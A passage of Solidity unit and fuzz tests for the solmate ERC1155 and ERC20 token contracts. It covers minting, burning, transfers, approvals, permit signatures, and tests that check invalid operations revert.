bytes memory mintData,
uint256 burnAmount
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
burnAmount = bound(burnAmount, 0, mintAmount);
token.mint(to, id, mintAmount, mintData);
token.burn(to, id, burnAmount);
assertEq(token.balanceOf(address(to), id), mintAmount - burnAmount);
}
function testBatchBurn(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedBurnAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
normalizedIds[i] = id;
normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);
normalizedBurnAmounts[i] = bound(burnAmounts[i], 0, normalizedMintAmounts[i]);
userMintAmounts[address(to)][id] += normalizedMintAmounts[i];
userTransferOrBurnAmounts[address(to)][id] += normalizedBurnAmounts[i];
}
token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);
token.batchBurn(to, normalizedIds, normalizedBurnAmounts);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(to, id), userMintAmounts[to][id] - userTransferOrBurnAmounts[to][id]);
}
}
function testApproveAll(address to, bool approved) public {
token.setApprovalForAll(to, approved);
assertBoolEq(token.isApprovedForAll(address(this), to), approved);
}
function testSafeTransferFromToEOA(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
address to,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
transferAmount = bound(transferAmount, 0, mintAmount);
ERC1155User from = new ERC1155User(token);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id, transferAmount, transferData);
assertEq(token.balanceOf(to, id), transferAmount);
assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);
}
function testSafeTransferFromToERC1155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
bytes memory transferData
) public {
ERC1155Recipient to = new ERC1155Recipient();
ERC1155User from = new ERC1155User(token);
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(to), id, transferAmount, transferData);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(from));
assertEq(to.id(), id);
assertBytesEq(to.mintData(), transferData);
assertEq(token.balanceOf(address(to), id), transferAmount);
assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);
}
function testSafeTransferFromSelf(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
address to,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), to, id, transferAmount, transferData);
assertEq(token.balanceOf(to, id), transferAmount);
assertEq(token.balanceOf(address(this), id), mintAmount - transferAmount);
}
function testSafeBatchTransferFromToEOA(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
userTransferOrBurnAmounts[address(from)][id] += transferAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(address(to), id), userTransferOrBurnAmounts[address(from)][id]);
assertEq(
token.balanceOf(address(from), id),
userMintAmounts[address(from)][id] - userTransferOrBurnAmounts[address(from)][id]
);
}
}
function testSafeBatchTransferFromToERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
ERC1155Recipient to = new ERC1155Recipient();
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
userTransferOrBurnAmounts[address(from)][id] += transferAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(to), normalizedIds, normalizedTransferAmounts, transferData);
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(from));
assertUintArrayEq(to.batchIds(), normalizedIds);
assertUintArrayEq(to.batchAmounts(), normalizedTransferAmounts);
assertBytesEq(to.batchData(), transferData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
uint256 transferAmount = userTransferOrBurnAmounts[address(from)][id];
assertEq(token.balanceOf(address(to), id), transferAmount);
assertEq(token.balanceOf(address(from), id), userMintAmounts[address(from)][id] - transferAmount);
}
}
function testBatchBalanceOf(
address[] memory tos,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
uint256 minLength = min3(tos.length, ids.length, amounts.length);
address[] memory normalizedTos = new address[](minLength);
uint256[] memory normalizedIds = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
address to = tos[i] == address(0) ? address(0xBEEF) : tos[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
normalizedTos[i] = to;
normalizedIds[i] = id;
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
token.mint(to, id, mintAmount, mintData);
userMintAmounts[to][id] += mintAmount;
}
uint256[] memory balances = token.balanceOfBatch(normalizedTos, normalizedIds);
for (uint256 i = 0; i < normalizedTos.length; i++) {
assertEq(balances[i], token.balanceOf(normalizedTos[i], normalizedIds[i]));
}
}
function testFailMintToZero(
uint256 id,
uint256 amount,
bytes memory data
) public {
token.mint(address(0), id, amount, data);
}
function testFailMintToNonERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new NonERC1155Recipient()), id, mintAmount, mintData);
}
function testFailMintToRevertingERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);
}
function testFailMintToWrongReturnDataERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);
}
function testFailBurnInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 burnAmount,
bytes memory mintData
) public {
burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
token.mint(to, id, mintAmount, mintData);
token.burn(to, id, burnAmount);
}
function testFailSafeTransferFromInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id, transferAmount, transferData);
}
function testFailSafeTransferFromSelfInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), to, id, transferAmount, transferData);
}
function testFailSafeTransferFromToZero(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), address(0), id, transferAmount, transferData);
}
function testFailSafeTransferFromToNonERC155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), id, transferAmount, transferData);
}
function testFailSafeTransferFromToRevertingERC1155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(
address(this),
address(new RevertingERC1155Recipient()),
id,
transferAmount,
transferData
);
}
function testFailSafeTransferFromToWrongReturnDataERC1155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(
address(this),
address(new WrongReturnDataERC1155Recipient()),
id,
transferAmount,
transferData
);
}
function testFailSafeBatchTransferInsufficientBalance(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
if (minLength == 0) revert();
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], mintAmount + 1, type(uint256).max);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);
}
function testFailSafeBatchTransferFromToZero(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0), normalizedIds, normalizedTransferAmounts, transferData);
}
function testFailSafeBatchTransferFromToNonERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new NonERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromToRevertingERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new RevertingERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new WrongReturnDataERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromWithArrayLengthMismatch(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
if (ids.length == transferAmounts.length) revert();
token.batchMint(address(from), ids, mintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, ids, transferAmounts, transferData);
}
function testFailBatchMintToZero(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(0)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(0)][id] += mintAmount;
}
token.batchMint(address(0), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToNonERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
NonERC1155Recipient to = new NonERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToRevertingERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
RevertingERC1155Recipient to = new RevertingERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToWrongReturnDataERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintWithArrayMismatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
if (ids.length == amounts.length) revert();
token.batchMint(address(to), ids, amounts, mintData);
}
function testFailBatchBurnInsufficientBalance(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);
if (minLength == 0) revert();
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedBurnAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
normalizedIds[i] = id;
normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);
normalizedBurnAmounts[i] = bound(burnAmounts[i], normalizedMintAmounts[i] + 1, type(uint256).max);
userMintAmounts[to][id] += normalizedMintAmounts[i];
}
token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);
token.batchBurn(to, normalizedIds, normalizedBurnAmounts);
}
function testFailBatchBurnWithArrayLengthMismatch(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
if (ids.length == burnAmounts.length) revert();
token.batchMint(to, ids, mintAmounts, mintData);
token.batchBurn(to, ids, burnAmounts);
}
function testFailBalanceOfBatchWithArrayMismatch(address[] memory tos, uint256[] memory ids) public view {
if (tos.length == ids.length) revert();
token.balanceOfBatch(tos, ids);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC20.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC20} from "./utils/mocks/MockERC20.sol";
import {ERC20User} from "./utils/users/ERC20User.sol";
contract ERC20Test is DSTestPlus {
MockERC20 token;
bytes32 constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
function setUp() public {
token = new MockERC20("Token", "TKN", 18);
}
function invariantMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
assertEq(token.decimals(), 18);
}
function testMetaData() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
assertEq(token.decimals(), 18);
}
function testMint() public {
token.mint(address(0xBEEF), 1e18);
assertEq(token.totalSupply(), 1e18);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testBurn() public {
token.mint(address(0xBEEF), 1e18);
token.burn(address(0xBEEF), 0.9e18);
assertEq(token.totalSupply(), 1e18 - 0.9e18);
assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);
}
function testApprove() public {
assertTrue(token.approve(address(0xBEEF), 1e18));
assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);
}
function testTransfer() public {
token.mint(address(this), 1e18);
assertTrue(token.transfer(address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testTransferFrom() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), 1e18);
assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.allowance(address(from), address(this)), 0);
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testInfiniteApproveTransferFrom() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), type(uint256).max);
assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.allowance(address(from), address(this)), type(uint256).max);
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testPermit() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
assertEq(token.allowance(owner, address(0xCAFE)), 1e18);
assertEq(token.nonces(owner), 1);
}
function testFailTransferInsufficientBalance() public {
token.mint(address(this), 0.9e18);
token.transfer(address(0xBEEF), 1e18);
}
function testFailTransferFromInsufficientAllowance() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), 0.9e18);
token.transferFrom(address(from), address(0xBEEF), 1e18);
}
function testFailTransferFromInsufficientBalance() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 0.9e18);
from.approve(address(this), 1e18);
token.transferFrom(address(from), address(0xBEEF), 1e18);
}
function testFailPermitBadNonce() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 1, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
}
function testFailPermitBadDeadline() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);
}
function testFailPermitPastDeadline() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp - 1))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp - 1, v, r, s);
}
function testFailPermitReplay() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
}
function testMetaData(
string calldata name,
string calldata symbol,
uint8 decimals
) public {
MockERC20 tkn = new MockERC20(name, symbol, decimals);
assertEq(tkn.name(), name);
assertEq(tkn.symbol(), symbol);
assertEq(tkn.decimals(), decimals);
}
function testMint(address from, uint256 amount) public {
token.mint(from, amount);
assertEq(token.totalSupply(), amount);
assertEq(token.balanceOf(from), amount);
}
function testBurn(
address from,
uint256 mintAmount,
uint256 burnAmount
) public {
burnAmount = bound(burnAmount, 0, mintAmount);
token.mint(from, mintAmount);
token.burn(from, burnAmount);
assertEq(token.totalSupply(), mintAmount - burnAmount);
assertEq(token.balanceOf(from), mintAmount - burnAmount);
}
function testApprove(address to, uint256 amount) public {
assertTrue(token.approve(to, amount));
assertEq(token.allowance(address(this), to), amount);
}
function testTransfer(address from, uint256 amount) public {
token.mint(address(this), amount);
assertTrue(token.transfer(from, amount));
assertEq(token.totalSupply(), amount);
if (address(this) == from) {
assertEq(token.balanceOf(address(this)), amount);
} else {
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.balanceOf(from), amount);
}
}
function testTransferFrom(
address to,
uint256 approval,
uint256 amount
) public {
amount = bound(amount, 0, approval);
ERC20User from = new ERC20User(token);
token.mint(address(from), amount);
from.approve(address(this), approval);
assertTrue(token.transferFrom(address(from), to, amount));
assertEq(token.totalSupply(), amount);
uint256 app = address(from) == address(this) || approval == type(uint256).max ? approval : approval - amount;
assertEq(token.allowance(address(from), address(this)), app);
if (address(from) == to) {
assertEq(token.balanceOf(address(from)), amount);
} else {
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(to), amount);
}
}
function testPermit(
uint248 privKey,
address to,
uint256 amount,
uint256 deadline
) public {
uint256 privateKey = privKey;
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
assertEq(token.allowance(owner, to), amount);
assertEq(token.nonces(owner), 1);
}
function testFailBurnInsufficientBalance(
address to,
uint256 mintAmount,
uint256 burnAmount
) public {
burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
token.mint(to, mintAmount);
token.burn(to, burnAmount);
}
function testFailTransferInsufficientBalance(
address to,
uint256 mintAmount,
uint256 sendAmount
) public {
sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
token.mint(address(this), mintAmount);
token.transfer(to, sendAmount);
}
function testFailTransferFromInsufficientAllowance(
address to,
uint256 approval,
uint256 amount
) public {
amount = bound(amount, approval + 1, type(uint256).max);
ERC20User from = new ERC20User(token);
token.mint(address(from), amount);
from.approve(address(this), approval);
token.transferFrom(address(from), to, amount);
}
